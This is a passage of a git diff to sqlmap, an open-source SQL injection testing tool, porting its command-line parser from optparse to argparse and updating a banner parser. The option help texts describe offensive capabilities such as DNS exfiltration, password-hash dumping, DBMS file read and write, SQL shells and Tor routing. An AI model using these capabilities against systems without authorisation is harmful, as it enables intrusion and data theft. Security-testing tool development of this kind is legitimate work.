errorElem.setAttributeNode(self.__createAttribute(TYPE_ATTR, UNHANDLED_PROBLEM_TYPE)) - - errorElem.appendChild(self.__createTextNode(getUnicode(resultMsg))) - statusElem.appendChild(errorElem) - - self.__addToRoot(statusElem) - self.__write(prettyprint.formatXML(self.__doc, encoding=UNICODE_ENCODING)) - self.__outputFP.close() - -def closeDumper(status, msg=""): - """ - Closes the dumper of the session - """ - - if hasattr(conf, "dumper") and hasattr(conf.dumper, "finish"): - conf.dumper.finish(status, msg) - -dumper = XMLDump() diff --git a/lib/parse/__init__.py b/lib/parse/__init__.py index 652bcd8d837..bcac841631b 100644 --- a/lib/parse/__init__.py +++ b/lib/parse/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/parse/banner.py b/lib/parse/banner.py index a73b8af7314..c4eef8c274c 100644 --- a/lib/parse/banner.py +++ b/lib/parse/banner.py @@ -1,15 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re from xml.sax.handler import ContentHandler -from lib.core.common import checkFile from lib.core.common import Backend from lib.core.common import parseXmlFile from lib.core.common import sanitizeStr @@ -27,7 +26,7 @@ class MSSQLBannerHandler(ContentHandler): def __init__(self, banner, info): ContentHandler.__init__(self) - self._banner = sanitizeStr(banner) + self._banner = sanitizeStr(banner or "") self._inVersion = False self._inServicePack = False self._release = None @@ -39,7 +38,7 @@ def __init__(self, banner, info): def _feedInfo(self, key, value): value = sanitizeStr(value) - if value in ( None, "None" ): + if value in (None, "None"): return self._info[key] = value @@ -54,16 +53,16 @@ def startElement(self, name, attrs): elif name == "servicepack": self._inServicePack = True - def characters(self, data): + def characters(self, content): if self._inVersion: - self._version += sanitizeStr(data) + self._version += sanitizeStr(content) elif self._inServicePack: - self._servicePack += sanitizeStr(data) + self._servicePack += sanitizeStr(content) def endElement(self, name): if name == "signature": for version in (self._version, self._versionAlt): - if version and re.search(r" %s[\.\ ]+" % version, self._banner): + if version and self._banner and re.search(r" %s[\.\ ]+" % re.escape(version), self._banner): self._feedInfo("dbmsRelease", self._release) self._feedInfo("dbmsVersion", self._version) self._feedInfo("dbmsServicePack", self._servicePack) @@ -104,8 +103,6 @@ def bannerParser(banner): if not xmlfile: return - checkFile(xmlfile) - if Backend.isDbms(DBMS.MSSQL): handler = MSSQLBannerHandler(banner, kb.bannerFp) parseXmlFile(xmlfile, handler) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 6484bf4f9f0..ffba577c24e 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -1,735 +1,1143 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from __future__ import print_function + +import os +import re +import shlex import sys -from optparse import OptionError -from optparse import OptionGroup -from optparse import OptionParser -from optparse import SUPPRESS_HELP +try: + from optparse import OptionError as ArgumentError + from optparse import OptionGroup + from optparse import OptionParser as ArgumentParser + from optparse import SUPPRESS_HELP as SUPPRESS + + ArgumentParser.add_argument = ArgumentParser.add_option + + def _add_argument_group(self, *args, **kwargs): + return self.add_option_group(OptionGroup(self, *args, **kwargs)) + + ArgumentParser.add_argument_group = _add_argument_group + + def _add_argument(self, *args, **kwargs): + return self.add_option(*args, **kwargs) + + OptionGroup.add_argument = _add_argument + +except ImportError: + from argparse import ArgumentParser + from argparse import ArgumentError + from argparse import SUPPRESS + +finally: + def get_actions(instance): + for attr in ("option_list", "_group_actions", "_actions"): + if hasattr(instance, attr): + return getattr(instance, attr) + def get_groups(parser): + return getattr(parser, "option_groups", None) or getattr(parser, "_action_groups") + + def get_all_options(parser): + retVal = set() + + for option in get_actions(parser): + if hasattr(option, "option_strings"): + retVal.update(option.option_strings) + else: + retVal.update(option._long_opts) + retVal.update(option._short_opts) + + for group in get_groups(parser): + for option in get_actions(group): + if hasattr(option, "option_strings"): + retVal.update(option.option_strings) + else: + retVal.update(option._long_opts) + retVal.update(option._short_opts) + + return retVal + +from lib.core.common import checkOldOptions +from lib.core.common import checkSystemEncoding +from lib.core.common import dataToStdout from lib.core.common import expandMnemonics -from lib.core.common import getUnicode +from lib.core.common import getSafeExString +from lib.core.compat import xrange +from lib.core.convert import getUnicode +from lib.core.data import cmdLineOptions +from lib.core.data import conf from lib.core.data import logger from lib.core.defaults import defaults +from lib.core.dicts import DEPRECATED_OPTIONS +from lib.core.enums import AUTOCOMPLETE_TYPE +from lib.core.exception import SqlmapShellQuitException +from lib.core.exception import SqlmapSilentQuitException +from lib.core.exception import SqlmapSyntaxException +from lib.core.option import _createHomeDirectories from lib.core.settings import BASIC_HELP_ITEMS +from lib.core.settings import DUMMY_URL +from lib.core.settings import IGNORED_OPTIONS +from lib.core.settings import INFERENCE_UNKNOWN_CHAR from lib.core.settings import IS_WIN +from lib.core.settings import MAX_HELP_OPTION_LENGTH from lib.core.settings import VERSION_STRING +from lib.core.shell import autoCompletion +from lib.core.shell import clearHistory +from lib.core.shell import loadHistory +from lib.core.shell import saveHistory +from thirdparty.six.moves import input as _input -def cmdLineParser(): +def cmdLineParser(argv=None): """ This function parses the command line parameters and arguments """ - usage = "%s%s [options]" % ("python " if not IS_WIN else "", \ - "\"%s\"" % sys.argv[0] if " " in sys.argv[0] else sys.argv[0]) + if not argv: + argv = sys.argv + + checkSystemEncoding() - parser = OptionParser(usage=usage) + # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING") + _ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding) + + usage = "%s%s [options]" % ("%s " % os.path.basename(sys.executable) if not IS_WIN else "", "\"%s\"" % _ if " " in _ else _) + parser = ArgumentParser(usage=usage) try: - parser.add_option("--hh", dest="advancedHelp", - action="store_true", - help="Show advanced help message and exit") + parser.add_argument("--hh", dest="advancedHelp", action="store_true", + help="Show advanced help message and exit") + + parser.add_argument("--version", dest="showVersion", action="store_true", + help="Show program's version number and exit") - parser.add_option("-v", dest="verbose", type="int", - help="Verbosity level: 0-6 (default %d)" % defaults.verbose) + parser.add_argument("-v", dest="verbose", type=int, + help="Verbosity level: 0-6 (default %d)" % defaults.verbose) # Target options - target = OptionGroup(parser, "Target", "At least one of these " - "options has to be specified to set the source " - "to get target urls from") + target = parser.add_argument_group("Target", "At least one of these options has to be provided to define the target(s)") - target.add_option("-d", dest="direct", help="Direct " - "connection to the database") + target.add_argument("-u", "--url", dest="url", + help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")") - target.add_option("-u", "--url", dest="url", help="Target url") + target.add_argument("-d", dest="direct", + help="Connection string for direct database connection") - target.add_option("-l", dest="logFile", help="Parse targets from Burp " - "or WebScarab proxy logs") + target.add_argument("-l", dest="logFile", + help="Parse target(s) from Burp or WebScarab proxy log file") - target.add_option("-m", dest="bulkFile", help="Scan multiple targets enlisted " - "in a given textual file ") + target.add_argument("-m", dest="bulkFile", + help="Scan multiple targets given in a textual file ") - target.add_option("-r", dest="requestFile", - help="Load HTTP request from a file") + target.add_argument("-r", dest="requestFile", + help="Load HTTP request from a file") - target.add_option("-g", dest="googleDork", - help="Process Google dork results as target urls") + target.add_argument("-g", dest="googleDork", + help="Process Google dork results as target URLs") - target.add_option("-c", dest="configFile", - help="Load options from a configuration INI file") + target.add_argument("-c", dest="configFile", + help="Load options from a configuration INI file") # Request options - request = OptionGroup(parser, "Request", "These options can be used " - "to specify how to connect to the target url") + request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL") + + request.add_argument("-A", "--user-agent", dest="agent", + help="HTTP User-Agent header value") + + request.add_argument("-H", "--header", dest="header", + help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")") + + request.add_argument("--method", dest="method", + help="Force usage of given HTTP method (e.g. PUT)") + + request.add_argument("--data", dest="data", + help="Data string to be sent through POST (e.g. \"id=1\")") + + request.add_argument("--param-del", dest="paramDel", + help="Character used for splitting parameter values (e.g. &)") + + request.add_argument("--cookie", dest="cookie", + help="HTTP Cookie header value (e.g. \"PHPSESSID=a8d127e..\")") + + request.add_argument("--cookie-del", dest="cookieDel", + help="Character used for splitting cookie values (e.g. ;)") + + request.add_argument("--live-cookies", dest="liveCookies", + help="Live cookies file used for loading up-to-date values") + + request.add_argument("--load-cookies", dest="loadCookies", + help="File containing cookies in Netscape/wget format") + + request.add_argument("--drop-set-cookie", dest="dropSetCookie", action="store_true", + help="Ignore Set-Cookie header from response") + + request.add_argument("--http1.0", dest="http10", action="store_true", + help="Use HTTP version 1.0 (old)") + + request.add_argument("--http2", dest="http2", action="store_true", + help="Use HTTP version 2 (experimental)") + + request.add_argument("--mobile", dest="mobile", action="store_true", + help="Imitate smartphone through HTTP User-Agent header") + + request.add_argument("--random-agent", dest="randomAgent", action="store_true", + help="Use randomly selected HTTP User-Agent header value") + + request.add_argument("--host", dest="host", + help="HTTP Host header value") - request.add_option("--data", dest="data", - help="Data string to be sent through POST") + request.add_argument("--referer", dest="referer", + help="HTTP Referer header value") - request.add_option("--param-del", dest="pDel", - help="Character used for splitting parameter values") + request.add_argument("--headers", dest="headers", + help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")") - request.add_option("--cookie", dest="cookie", - help="HTTP Cookie header") + request.add_argument("--auth-type", dest="authType", + help="HTTP authentication type (Basic, Digest, Bearer, ...)") - request.add_option("--load-cookies", dest="loC", - help="File containing cookies in Netscape/wget format") + request.add_argument("--auth-cred", dest="authCred", + help="HTTP authentication credentials (name:password)") - request.add_option("--cookie-urlencode", dest="cookieUrlencode", - action="store_true", - help="URL Encode generated cookie injections") + request.add_argument("--auth-file", dest="authFile", + help="HTTP authentication PEM cert/private key file") - request.add_option("--drop-set-cookie", dest="dropSetCookie", - action="store_true", - help="Ignore Set-Cookie header from response") + request.add_argument("--abort-code", dest="abortCode", + help="Abort on (problematic) HTTP error code(s) (e.g. 401)") - request.add_option("--user-agent", dest="agent", - help="HTTP User-Agent header") + request.add_argument("--ignore-code", dest="ignoreCode", + help="Ignore (problematic) HTTP error code(s) (e.g. 401)") - request.add_option("--random-agent", dest="randomAgent", - action="store_true", - help="Use randomly selected HTTP User-Agent header") + request.add_argument("--ignore-proxy", dest="ignoreProxy", action="store_true", + help="Ignore system default proxy settings") - request.add_option("--randomize", dest="rParam", - help="Randomly change value for given parameter(s)") + request.add_argument("--ignore-redirects", dest="ignoreRedirects", action="store_true", + help="Ignore redirection attempts") - request.add_option("--force-ssl", dest="forceSSL", - action="store_true", - help="Force usage of SSL/HTTPS requests") + request.add_argument("--ignore-timeouts", dest="ignoreTimeouts", action="store_true", + help="Ignore connection timeouts") - request.add_option("--host", dest="host", - help="HTTP Host header") + request.add_argument("--proxy", dest="proxy", + help="Use a proxy to connect to the target URL") - request.add_option("--referer", dest="referer", - help="HTTP Referer header") + request.add_argument("--proxy-cred", dest="proxyCred", + help="Proxy authentication credentials (name:password)") - request.add_option("--headers", dest="headers", - help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")") + request.add_argument("--proxy-file", dest="proxyFile", + help="Load proxy list from a file") - request.add_option("--auth-type", dest="aType", - help="HTTP authentication type " - "(Basic, Digest or NTLM)") + request.add_argument("--proxy-freq", dest="proxyFreq", type=int, + help="Requests between change of proxy from a given list") - request.add_option("--auth-cred", dest="aCred", - help="HTTP authentication credentials " - "(name:password)") + request.add_argument("--tor", dest="tor", action="store_true", + help="Use Tor anonymity network") - request.add_option("--auth-cert", dest="aCert", - help="HTTP authentication certificate (" - "key_file,cert_file)") + request.add_argument("--tor-port", dest="torPort", + help="Set Tor proxy port other than default") - request.add_option("--proxy", dest="proxy", - help="Use a HTTP proxy to connect to the target url") + request.add_argument("--tor-type", dest="torType", + help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))") - request.add_option("--proxy-cred", dest="pCred", - help="HTTP proxy authentication credentials " - "(name:password)") + request.add_argument("--check-tor", dest="checkTor", action="store_true", + help="Check to see if Tor is used properly") - request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true", - help="Ignore system default HTTP proxy") + request.add_argument("--delay", dest="delay", type=float, + help="Delay in seconds between each HTTP request") - request.add_option("--delay", dest="delay", type="float", - help="Delay in seconds between each HTTP request") + request.add_argument("--timeout", dest="timeout", type=float, + help="Seconds to wait before timeout connection (default %d)" % defaults.timeout) - request.add_option("--timeout", dest="timeout", type="float", - help="Seconds to wait before timeout connection " - "(default %d)" % defaults.timeout) + request.add_argument("--retries", dest="retries", type=int, + help="Retries when the connection timeouts (default %d)" % defaults.retries) - request.add_option("--retries", dest="retries", type="int", - help="Retries when the connection timeouts " - "(default %d)" % defaults.retries) + request.add_argument("--retry-on", dest="retryOn", + help="Retry request on regexp matching content (e.g. \"drop\")") - request.add_option("--scope", dest="scope", - help="Regexp to filter targets from provided proxy log") + request.add_argument("--randomize", dest="rParam", + help="Randomly change value for given parameter(s)") - request.add_option("--safe-url", dest="safUrl", - help="Url address to visit frequently during testing") + request.add_argument("--safe-url", dest="safeUrl", + help="URL address to visit frequently during testing") - request.add_option("--safe-freq", dest="saFreq", type="int", - help="Test requests between two visits to a given safe url") + request.add_argument("--safe-post", dest="safePost", + help="POST data to send to a safe URL") - request.add_option("--skip-urlencode", dest="skipUrlEncode", - action="store_true", - help="Skip URL encoding of POST data") + request.add_argument("--safe-req", dest="safeReqFile", + help="Load safe HTTP request from a file") - request.add_option("--eval", dest="evalCode", - help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")") + request.add_argument("--safe-freq", dest="safeFreq", type=int, + help="Regular requests between visits to a safe URL") + + request.add_argument("--skip-urlencode", dest="skipUrlEncode", action="store_true", + help="Skip URL encoding of payload data") + + request.add_argument("--csrf-token", dest="csrfToken", + help="Parameter used to hold anti-CSRF token") + + request.add_argument("--csrf-url", dest="csrfUrl", + help="URL address to visit for extraction of anti-CSRF token") + + request.add_argument("--csrf-method", dest="csrfMethod", + help="HTTP method to use during anti-CSRF token page visit") + + request.add_argument("--csrf-data", dest="csrfData", + help="POST data to send during anti-CSRF token page visit") + + request.add_argument("--csrf-retries", dest="csrfRetries", type=int, + help="Retries for anti-CSRF token retrieval (default %d)" % defaults.csrfRetries) + + request.add_argument("--force-ssl", dest="forceSSL", action="store_true", + help="Force usage of SSL/HTTPS") + + request.add_argument("--chunked", dest="chunked", action="store_true", + help="Use HTTP chunked transfer encoded (POST) requests") + + request.add_argument("--hpp", dest="hpp", action="store_true", + help="Use HTTP parameter pollution method") + + request.add_argument("--eval", dest="evalCode", + help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")") # Optimization options - optimization = OptionGroup(parser, "Optimization", "These " - "options can be used to optimize the " - "performance of sqlmap") + optimization = parser.add_argument_group("Optimization", "These options can be used to optimize the performance of sqlmap") - optimization.add_option("-o", dest="optimize", - action="store_true", - help="Turn on all optimization switches") + optimization.add_argument("-o", dest="optimize", action="store_true", + help="Turn on all optimization switches") - optimization.add_option("--predict-output", dest="predictOutput", action="store_true", - help="Predict common queries output") + optimization.add_argument("--predict-output", dest="predictOutput", action="store_true", + help="Predict common queries output") - optimization.add_option("--keep-alive", dest="keepAlive", action="store_true", - help="Use persistent HTTP(s) connections") + optimization.add_argument("--keep-alive", dest="keepAlive", action="store_true", + help="Use persistent HTTP(s) connections") - optimization.add_option("--null-connection", dest="nullConnection", action="store_true", - help="Retrieve page length without actual HTTP response body") + optimization.add_argument("--null-connection", dest="nullConnection", action="store_true", + help="Retrieve page length without actual HTTP response body") - optimization.add_option("--threads", dest="threads", type="int", - help="Max number of concurrent HTTP(s) " - "requests (default %d)" % defaults.threads) + optimization.add_argument("--threads", dest="threads", type=int, + help="Max number of concurrent HTTP(s) requests (default %d)" % defaults.threads) # Injection options - injection = OptionGroup(parser, "Injection", "These options can be " - "used to specify which parameters to test " - "for, provide custom injection payloads and " - "optional tampering scripts") + injection = parser.add_argument_group("Injection", "These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts") + + injection.add_argument("-p", dest="testParameter", + help="Testable parameter(s)") + + injection.add_argument("--skip", dest="skip", + help="Skip testing for given parameter(s)") + + injection.add_argument("--skip-static", dest="skipStatic", action="store_true", + help="Skip testing parameters that not appear to be dynamic") + + injection.add_argument("--param-exclude", dest="paramExclude", + help="Regexp to exclude parameters from testing (e.g. \"ses\")") + + injection.add_argument("--param-filter", dest="paramFilter", + help="Select testable parameter(s) by place (e.g. \"POST\")") - injection.add_option("-p", dest="testParameter", - help="Testable parameter(s)") + injection.add_argument("--dbms", dest="dbms", + help="Force back-end DBMS to provided value") - injection.add_option("--dbms", dest="dbms", - help="Force back-end DBMS to this value") + injection.add_argument("--dbms-cred", dest="dbmsCred", + help="DBMS authentication credentials (user:password)") - injection.add_option("--os", dest="os", - help="Force back-end DBMS operating system " - "to this value") + injection.add_argument("--os", dest="os", + help="Force back-end DBMS operating system to provided value") - injection.add_option("--invalid-bignum", dest="invalidBignum", - action="store_true", - help="Use big numbers for invalidating values") + injection.add_argument("--invalid-bignum", dest="invalidBignum", action="store_true", + help="Use big numbers for invalidating values") - injection.add_option("--invalid-logical", dest="invalidLogical", - action="store_true", - help="Use logical operations for invalidating values") + injection.add_argument("--invalid-logical", dest="invalidLogical", action="store_true", + help="Use logical operations for invalidating values") - injection.add_option("--no-cast", dest="noCast", - action="store_true", - help="Turn off payload casting mechanism") + injection.add_argument("--invalid-string", dest="invalidString", action="store_true", + help="Use random strings for invalidating values") - injection.add_option("--prefix", dest="prefix", - help="Injection payload prefix string") + injection.add_argument("--no-cast", dest="noCast", action="store_true", + help="Turn off payload casting mechanism") - injection.add_option("--suffix", dest="suffix", - help="Injection payload suffix string") + injection.add_argument("--no-escape", dest="noEscape", action="store_true", + help="Turn off string escaping mechanism") - injection.add_option("--skip", dest="skip", - help="Skip testing for given parameter(s)") + injection.add_argument("--prefix", dest="prefix", + help="Injection payload prefix string") - injection.add_option("--tamper", dest="tamper", - help="Use given script(s) for tampering injection data") + injection.add_argument("--suffix", dest="suffix", + help="Injection payload suffix string") + + injection.add_argument("--tamper", dest="tamper", + help="Use given script(s) for tampering injection data") # Detection options - detection = OptionGroup(parser, "Detection", "These options can be " - "used to specify how to parse " - "and compare page content from " - "HTTP responses when using blind SQL " - "injection technique") + detection = parser.add_argument_group("Detection", "These options can be used to customize the detection phase") + + detection.add_argument("--level", dest="level", type=int, + help="Level of tests to perform (1-5, default %d)" % defaults.level) - detection.add_option("--level", dest="level", type="int", - help="Level of tests to perform (1-5, " - "default %d)" % defaults.level) + detection.add_argument("--risk", dest="risk", type=int, + help="Risk of tests to perform (1-3, default %d)" % defaults.risk) - detection.add_option("--risk", dest="risk", type="int", - help="Risk of tests to perform (0-3, " - "default %d)" % defaults.level) + detection.add_argument("--string", dest="string", + help="String to match when query is evaluated to True") - detection.add_option("--string", dest="string", - help="String to match in the response when " - "query is valid") + detection.add_argument("--not-string", dest="notString", + help="String to match when query is evaluated to False") - detection.add_option("--regexp", dest="regexp", - help="Regexp to match in the response when " - "query is valid") + detection.add_argument("--regexp", dest="regexp", + help="Regexp to match when query is evaluated to True") - detection.add_option("--code", dest="code", type="int", - help="HTTP response code to match when the query is valid") + detection.add_argument("--code", dest="code", type=int, + help="HTTP code to match when query is evaluated to True") - detection.add_option("--text-only", dest="textOnly", - action="store_true", - help="Compare pages based only on the textual content") + detection.add_argument("--smart", dest="smart", action="store_true", + help="Perform thorough tests only if positive heuristic(s)") - detection.add_option("--titles", dest="titles", - action="store_true", - help="Compare pages based only on their titles") + detection.add_argument("--text-only", dest="textOnly", action="store_true", + help="Compare pages based only on the textual content") + + detection.add_argument("--titles", dest="titles", action="store_true", + help="Compare pages based only on their titles") # Techniques options - techniques = OptionGroup(parser, "Techniques", "These options can be " - "used to tweak testing of specific SQL " - "injection techniques") + techniques = parser.add_argument_group("Techniques", "These options can be used to tweak testing of specific SQL injection techniques") + + techniques.add_argument("--technique", dest="technique", + help="SQL injection techniques to use (default \"%s\")" % defaults.technique) + + techniques.add_argument("--time-sec", dest="timeSec", type=int, + help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec) + + techniques.add_argument("--disable-stats", dest="disableStats", action="store_true", + help="Disable the statistical model for detecting the delay") + + techniques.add_argument("--union-cols", dest="uCols", + help="Range of columns to test for UNION query SQL injection") + + techniques.add_argument("--union-char", dest="uChar", + help="Character to use for bruteforcing number of columns") - techniques.add_option("--technique", dest="tech", - help="SQL injection techniques to test for " - "(default \"%s\")" % defaults.tech) + techniques.add_argument("--union-from", dest="uFrom", + help="Table to use in FROM part of UNION query SQL injection") - techniques.add_option("--time-sec", dest="timeSec", - type="int", - help="Seconds to delay the DBMS response " - "(default %d)" % defaults.timeSec) + techniques.add_argument("--union-values", dest="uValues", + help="Column values to use for UNION query SQL injection") - techniques.add_option("--union-cols", dest="uCols", - help="Range of columns to test for UNION query SQL injection") + techniques.add_argument("--dns-domain", dest="dnsDomain", + help="Domain name used for DNS exfiltration attack") - techniques.add_option("--union-char", dest="uChar", - help="Character to use for bruteforcing number of columns") + techniques.add_argument("--second-url", dest="secondUrl", + help="Resulting page URL searched for second-order response") - techniques.add_option("--dns-domain", dest="dName", - help="Domain name used for DNS exfiltration attack") + techniques.add_argument("--second-req", dest="secondReq", + help="Load second-order HTTP request from file") # Fingerprint options - fingerprint = OptionGroup(parser, "Fingerprint") + fingerprint = parser.add_argument_group("Fingerprint") - fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp", - action="store_true", - help="Perform an extensive DBMS version fingerprint") + fingerprint.add_argument("-f", "--fingerprint", dest="extensiveFp", action="store_true", + help="Perform an extensive DBMS version fingerprint") # Enumeration options - enumeration = OptionGroup(parser, "Enumeration", "These options can " - "be used to enumerate the back-end database " - "management system information, structure " - "and data contained in the tables. Moreover " - "you can run your own SQL statements") + enumeration = parser.add_argument_group("Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables") - enumeration.add_option("-b", "--banner", dest="getBanner", - action="store_true", help="Retrieve DBMS banner") + enumeration.add_argument("-a", "--all", dest="getAll", action="store_true", + help="Retrieve everything") - enumeration.add_option("--current-user", dest="getCurrentUser", - action="store_true", - help="Retrieve DBMS current user") + enumeration.add_argument("-b", "--banner", dest="getBanner", action="store_true", + help="Retrieve DBMS banner") - enumeration.add_option("--current-db", dest="getCurrentDb", - action="store_true", - help="Retrieve DBMS current database") + enumeration.add_argument("--current-user", dest="getCurrentUser", action="store_true", + help="Retrieve DBMS current user") - enumeration.add_option("--is-dba", dest="isDba", - action="store_true", - help="Detect if the DBMS current user is DBA") + enumeration.add_argument("--current-db", dest="getCurrentDb", action="store_true", + help="Retrieve DBMS current database") - enumeration.add_option("--users", dest="getUsers", action="store_true", - help="Enumerate DBMS users") + enumeration.add_argument("--hostname", dest="getHostname", action="store_true", + help="Retrieve DBMS server hostname") - enumeration.add_option("--passwords", dest="getPasswordHashes", - action="store_true", - help="Enumerate DBMS users password hashes") + enumeration.add_argument("--is-dba", dest="isDba", action="store_true", + help="Detect if the DBMS current user is DBA") - enumeration.add_option("--privileges", dest="getPrivileges", - action="store_true", - help="Enumerate DBMS users privileges") + enumeration.add_argument("--users", dest="getUsers", action="store_true", + help="Enumerate DBMS users") - enumeration.add_option("--roles", dest="getRoles", - action="store_true", - help="Enumerate DBMS users roles") + enumeration.add_argument("--passwords", dest="getPasswordHashes", action="store_true", + help="Enumerate DBMS users password hashes") - enumeration.add_option("--dbs", dest="getDbs", action="store_true", - help="Enumerate DBMS databases") + enumeration.add_argument("--privileges", dest="getPrivileges", action="store_true", + help="Enumerate DBMS users privileges") - enumeration.add_option("--tables", dest="getTables", action="store_true", - help="Enumerate DBMS database tables") + enumeration.add_argument("--roles", dest="getRoles", action="store_true", + help="Enumerate DBMS users roles") - enumeration.add_option("--columns", dest="getColumns", action="store_true", - help="Enumerate DBMS database table columns") + enumeration.add_argument("--dbs", dest="getDbs", action="store_true", + help="Enumerate DBMS databases") - enumeration.add_option("--schema", dest="getSchema", action="store_true", - help="Enumerate DBMS schema") + enumeration.add_argument("--tables", dest="getTables", action="store_true", + help="Enumerate DBMS database tables") - enumeration.add_option("--count", dest="getCount", action="store_true", - help="Retrieve number of entries for table(s)") + enumeration.add_argument("--columns", dest="getColumns", action="store_true", + help="Enumerate DBMS database table columns") - enumeration.add_option("--dump", dest="dumpTable", action="store_true", - help="Dump DBMS database table entries") + enumeration.add_argument("--schema", dest="getSchema", action="store_true", + help="Enumerate DBMS schema") - enumeration.add_option("--dump-all", dest="dumpAll", action="store_true", - help="Dump all DBMS databases tables entries") + enumeration.add_argument("--count", dest="getCount", action="store_true", + help="Retrieve number of entries for table(s)") - enumeration.add_option("--search", dest="search", action="store_true", - help="Search column(s), table(s) and/or database name(s)") + enumeration.add_argument("--dump", dest="dumpTable", action="store_true", + help="Dump DBMS database table entries") - enumeration.add_option("-D", dest="db", - help="DBMS database to enumerate") + enumeration.add_argument("--dump-all", dest="dumpAll", action="store_true", + help="Dump all DBMS databases tables entries") - enumeration.add_option("-T", dest="tbl", - help="DBMS database table to enumerate") + enumeration.add_argument("--search", dest="search", action="store_true", + help="Search column(s), table(s) and/or database name(s)") - enumeration.add_option("-C", dest="col", - help="DBMS database table column to enumerate") + enumeration.add_argument("--comments", dest="getComments", action="store_true", + help="Check for DBMS comments during enumeration") - enumeration.add_option("-U", dest="user", - help="DBMS user to enumerate") + enumeration.add_argument("--statements", dest="getStatements", action="store_true", + help="Retrieve SQL statements being run on DBMS") - enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs", - action="store_true", - help="Exclude DBMS system databases when " - "enumerating tables") + enumeration.add_argument("-D", dest="db", + help="DBMS database to enumerate") - enumeration.add_option("--start", dest="limitStart", type="int", - help="First query output entry to retrieve") + enumeration.add_argument("-T", dest="tbl", + help="DBMS database table(s) to enumerate") - enumeration.add_option("--stop", dest="limitStop", type="int", - help="Last query output entry to retrieve") + enumeration.add_argument("-C", dest="col", + help="DBMS database table column(s) to enumerate") - enumeration.add_option("--first", dest="firstChar", type="int", - help="First query output word character to retrieve") + enumeration.add_argument("-X", dest="exclude", + help="DBMS database identifier(s) to not enumerate") - enumeration.add_option("--last", dest="lastChar", type="int", - help="Last query output word character to retrieve") + enumeration.add_argument("-U", dest="user", + help="DBMS user to enumerate") - enumeration.add_option("--sql-query", dest="query", - help="SQL statement to be executed") + enumeration.add_argument("--exclude-sysdbs", dest="excludeSysDbs", action="store_true", + help="Exclude DBMS system databases when enumerating tables") - enumeration.add_option("--sql-shell", dest="sqlShell", - action="store_true", - help="Prompt for an interactive SQL shell") + enumeration.add_argument("--pivot-column", dest="pivotColumn", + help="Pivot column name") - # User-defined function options - brute = OptionGroup(parser, "Brute force", "These " - "options can be used to run brute force " - "checks") + enumeration.add_argument("--where", dest="dumpWhere", + help="Use WHERE condition while table dumping") + + enumeration.add_argument("--start", dest="limitStart", type=int, + help="First dump table entry to retrieve") + + enumeration.add_argument("--stop", dest="limitStop", type=int, + help="Last dump table entry to retrieve") + + enumeration.add_argument("--first", dest="firstChar", type=int, + help="First query output word character to retrieve") + + enumeration.add_argument("--last", dest="lastChar", type=int, + help="Last query output word character to retrieve") + + enumeration.add_argument("--sql-query", dest="sqlQuery", + help="SQL statement to be executed") + + enumeration.add_argument("--sql-shell", dest="sqlShell", action="store_true", + help="Prompt for an interactive SQL shell") - brute.add_option("--common-tables", dest="commonTables", action="store_true", - help="Check existence of common tables") + enumeration.add_argument("--sql-file", dest="sqlFile", + help="Execute SQL statements from given file(s)") - brute.add_option("--common-columns", dest="commonColumns", action="store_true", - help="Check existence of common columns") + # Brute force options + brute = parser.add_argument_group("Brute force", "These options can be used to run brute force checks") + + brute.add_argument("--common-tables", dest="commonTables", action="store_true", + help="Check existence of common tables") + + brute.add_argument("--common-columns", dest="commonColumns", action="store_true", + help="Check existence of common columns") + + brute.add_argument("--common-files", dest="commonFiles", action="store_true", + help="Check existence of common files") # User-defined function options - udf = OptionGroup(parser, "User-defined function injection", "These " - "options can be used to create custom user-defined " - "functions") + udf = parser.add_argument_group("User-defined function injection", "These options can be used to create custom user-defined functions") - udf.add_option("--udf-inject", dest="udfInject", action="store_true", - help="Inject custom user-defined functions") + udf.add_argument("--udf-inject", dest="udfInject", action="store_true", + help="Inject custom user-defined functions") - udf.add_option("--shared-lib", dest="shLib", - help="Local path of the shared library") + udf.add_argument("--shared-lib", dest="shLib", + help="Local path of the shared library") # File system options - filesystem = OptionGroup(parser, "File system access", "These options " - "can be used to access the back-end database " - "management system underlying file system") + filesystem = parser.add_argument_group("File system access", "These options can be used to access the back-end database management system underlying file system") - filesystem.add_option("--file-read", dest="rFile", - help="Read a file from the back-end DBMS " - "file system") + filesystem.add_argument("--file-read", dest="fileRead", + help="Read a file from the back-end DBMS file system") - filesystem.add_option("--file-write", dest="wFile", - help="Write a local file on the back-end " - "DBMS file system") + filesystem.add_argument("--file-write", dest="fileWrite", + help="Write a local file on the back-end DBMS file system") - filesystem.add_option("--file-dest", dest="dFile", - help="Back-end DBMS absolute filepath to " - "write to") + filesystem.add_argument("--file-dest", dest="fileDest", + help="Back-end DBMS absolute filepath to write 